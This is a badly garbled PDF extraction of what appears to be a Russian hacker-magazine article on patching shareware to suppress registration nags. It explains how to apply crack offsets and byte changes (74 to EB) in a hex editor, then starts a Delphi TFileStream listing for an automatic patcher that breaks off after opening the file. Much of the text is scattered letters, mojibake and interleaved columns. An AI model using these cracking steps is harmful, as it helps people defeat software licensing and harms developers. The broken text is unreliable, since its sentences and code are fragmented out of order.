 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

t

 

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

P

D

 

 

 

 

 

 

 

 

 

o

 

 

 

 

NOW!

r

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

NOW!

r

 

 

 

 

 

BUY

 

 

 

Полный

мануал

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

o

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

.c

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

по патчу шаровар

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Horrific

(smirnandr@mail.ru) http://www.cydsoft.com/vr-online/

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Êàê

ìåíÿ

задолбала

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

эта прога своими

напоминаниями

о регистрации... Надо что-то

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Лезем

â

 

Èíåò,

качаем кряк.

À

 

 

 

делать.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ýòî ÷òî åùå çà

÷óøü?

Какие-то

битики, байтики...

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

хацкеры

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Âîò æå

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Эта ситуация знакома каждому,

 

 

 

 

 

ушастые, не могли нормальный

êðÿê

 

написать?

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

кто юзает шаровары. Когда начинают надо-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

едать напоминания о необ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

регистрации, начинаешь задумываться

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ходимости

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

о том, чтобы зарегистрировать прогу

(брррр, быстро гоним от себя такие глу-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ïûå

мысли :)) или найти на нее

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

кряк. Если ты нормальный чел, то вторая

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

мысль тебя посещает намного чаще.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

И вот ты залез на свой любимый

отстойник затычек для шаровар и скачал

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

êðÿê

для нужной тебе проги.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

хорошо, если там находится генератор па-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ролей или нормальный

 

Ýòî

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

запускной

файл, который делает все автоматически.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

А если там валяется

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

текстовый файл с вот таким содержимым:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

- запустить Генератор;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

- ввести любое имя;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

полученный ключ ХХХ.KEY кинуть в директорию ХХХ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Шестнадцатеричный редактор в DOS Navigator

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

- подпатчить ХХХХХ.EXE:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

0AC0E9 - 74 EB

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Теперь

взглянем на то, что

íàì

надо пропатчить:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

0AC0FE - 74 EB

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

0AC0E9 - 74 EB

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

0AC0FE - 74 EB

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Ýòó

 

 

 

 

 

 

 

 

 

 

колонки:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

С первой частью

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

запись можно разбить на три

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

кряка все ясно

- запустил, ввел, скопировал и

÷òî-òî äà ïî-

1 - адрес, по

 

которому надо править (0AC0E9).

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

лучил.

 

 

 

 

2

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

А вот вторая

часть - темный лес.

 

 

 

 

 

байт, который там

сейчас находится (74).

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Как пользоваться такой ерундой? Тут

3

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

без бутылочки Балтики не разобраться.

 

 

 

 

 

 

 

 

байт, который должен там

áûòü (EB).

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Процесс ясен? Просто пере

 

 

 

 

 

и исправляешь байт

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Патчим вручную

 

 

 

 

 

 

 

 

 

 

 

 

 

на указанный в

 

 

 

 

 

ходишь по нужному адресу

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

крэке. Например, в

моем случае нажимаем в DOS

Navigator

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

кнопку F5 и вводим адрес

0AC0E9.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Так ты мгновенно окажешься

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Ä

 

авай разберемся, что

такое патч. Патчить - значит подправить бай-

äî.

 

 

 

 

 

 

 

 

òàì, ãäå íà-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Перед правкой проверяй, чтобы там

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

тики в проге так, чтобы она

òåáÿ

не грузила своими тупыми запроса-

действительно был нужный байт (у меня

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ìè.

Êòî-òî äî

 

 

 

 

 

 

ýòî

74, который

 

нужно

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

тебя уже выяснил, где и что нужно подправить, а тебе

òû

 

 

поменять на EB). Если увидишь другое число, значит,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

нашел не тот

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

осталось только сделать это.

 

 

 

 

 

 

 

 

 

 

 

 

 

адрес или юзаешь не тот кряк.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Как видишь, все просто, и бутылка Балтики не

понадобилась. Ну ничего, сей-

Â

моем кряке две строки, два адреса и два байта,

которые нужно исправить.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

÷àñ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Сколько

строк, столько байтов нужно пропатчить.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

двинемся дальше, и уж там она точно пригодится :).

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Для правки тебе нужен любой

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

шестнадцатеричном

âèäå.

редактор, позволяющий работать с файлами в

Автоматический кряк

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ß ïî

привычке люблю использовать Dos

Navigator

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

из-за его простоты.

Åñëè

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

тебе нужно

что-то более продвинутое,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

òî òâîé âû-

Ò

о, что ты смог пропатчить

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

бор - специализированные

проги. Их

обзор мы уже делали не так уж давно,

 

свою прогу вручную, - это хорошо. Теперь

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

поэтому

 

тут я тормозить

 

 

ты можешь сохранить

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

íå áóäó,

ñàì

разберешься.

 

 

 

 

 

 

где-нибудь пропатченный запускной файл и на

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Сейчас я

 

 

 

 

 

 

 

 

 

 

 

 

 

случай

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

разжую процесс патча на примере одной проги. Я не

áóäó

говорить

переустановки окон и всего софта. Но что если ты

патчишь не

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ее имя, потому что это не

имеет

 

 

 

 

 

 

 

 

прогу, а игру? Мы постоянно даем

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

сможешь переварить

 

 

 

 

значения. Главное - это процесс. Если ты

которые так же надо

 

 

 

 

 

тебе в игровой зоне коды для разных игр,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

все, что я расскажу,

то сможешь патчить

любой софт.

править в любом шестнадцатеричном

редакторе. Неуже-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Итак, запускай свой

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ли ты после каждого запуска

èãðû

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Äëÿ DOS

 

 

 

 

 

 

редактор и открывай файл, который надо подправить.

правляя байтики

 

 

 

 

 

будешь заниматься рукоблудством, по-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Navigator это выделить файл

и нажать F3. После этого

нажимаешь

вручную? Я думаю, что нет.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Ðàç

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

F4 и видишь файл в

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

уж мы продвинутые хакеры и

íå

первый день занимаемся кодингом, да-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

þñü, ÷òî

доктор

 

 

шестнадцатеричном виде. Файл к операции готов. Наде-

âàé

создадим

собственную

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

òîæå :).

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

утилу

автоматического патча. Тем более, что это

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

íå òàê óæ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

и сложно.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

w

 

 

to

 

 

 

 

o

Кодинг

 

 

 

P

 

 

 

 

 

NOW!

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

o

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

ПОЛНЫЙ МАНУАЛ ПО ПАТЧУ ШАРОВАР

 

 

 

 

 

 

 

 

Horrific (smirnandr@mail.ru)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

Утилу я

опять буду писать

на примере моего патча, ну а ты

уже сможешь без про

 

 

 

 

 

Äàæå åñëè òâîÿ

нужда по большому :).

 

 

 

 

блем адаптировать

ее под любые нужды.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

Патчить

-

значит

подправить

áàé

 

 

 

чтобы

îíà òåáÿ íå

тики в проге так,

 

 

 

-

грузила

своими

тупыми

запроса

выяснил,

 

òî äî

òåáÿ óæå

ìè. Êòî-

 

 

 

 

 

à òåáå

где и что нужно подправить,

осталось только сделать

ýòî.

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Шкодинг

 

 

 

 

 

 

для создания при-

апусти Delphi. Можешь

бросить на него любую картинку

 

кнопку. Что

 

 

 

 

 

 

 

Ç òû

 

 

 

 

вкус. Главное - это

установить

 

личного вида, но это уже на твой

 

 

 

 

 

 

напишешь на ней, меня тоже

не особо волнует.

 

 

 

 

 

 

 

 

 

 

 

. Дважды щелкни по созданной

тобой кнопке, и Delphi

 

 

содержимое врезки

Теперь приступим к кодингу

события OnClick. В нем напиши

создаст для нее обработчик

 

 

 

как происходит

ïàò÷.

 

 

 

“Листинг Патча”, а я расскажу,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

свои окна, а старые

забрасывает, из-за чего появляются

проблемы несовместимо

 

 

после каждого

нового прикола Билла переделывать

ñòè. Ýòî

что, я теперь должен

А если у меня их сотня? Обломись!!!

 

 

новых функций?

свои проги на использование

 

 

 

 

объект TFileStream и потом просто перекомпилирую

Уж лучше я один раз исправлю

 

.

 

 

 

свои проги с учетом новых возможностей

к WinAPI напрямую

и везде, где толь-

Поэтому я тебе тоже не советую

обращаться

 

 

 

.

 

 

 

 

 

 

ко возможно, юзать объекты

 

 

 

 

 

 

Где собака порылась?

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

ЛИСТИНГ ПАТЧА

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ервое, что я сделал

 

- объявил переменную

 

F объектного типа TFileStream

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Ï

 

 

 

 

 

 

 

 

 

читать

èç íèõ èí-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

с любыми файлами,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Этот объект хорошо умеет работать

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

TObject);

 

 

 

 

 

 

 

 

 

 

 

 

 

формацию

и записывать

все что угодно

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

procedure

TForm1.Button1Click(Sender:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

var

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

f:TFileStream;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

s: byte;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

begin

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

//Открываю файл для

чтения и записи

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.exe’, fmOpenReadWrite);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.Create(‘õõõ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

f:=TFileStream

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

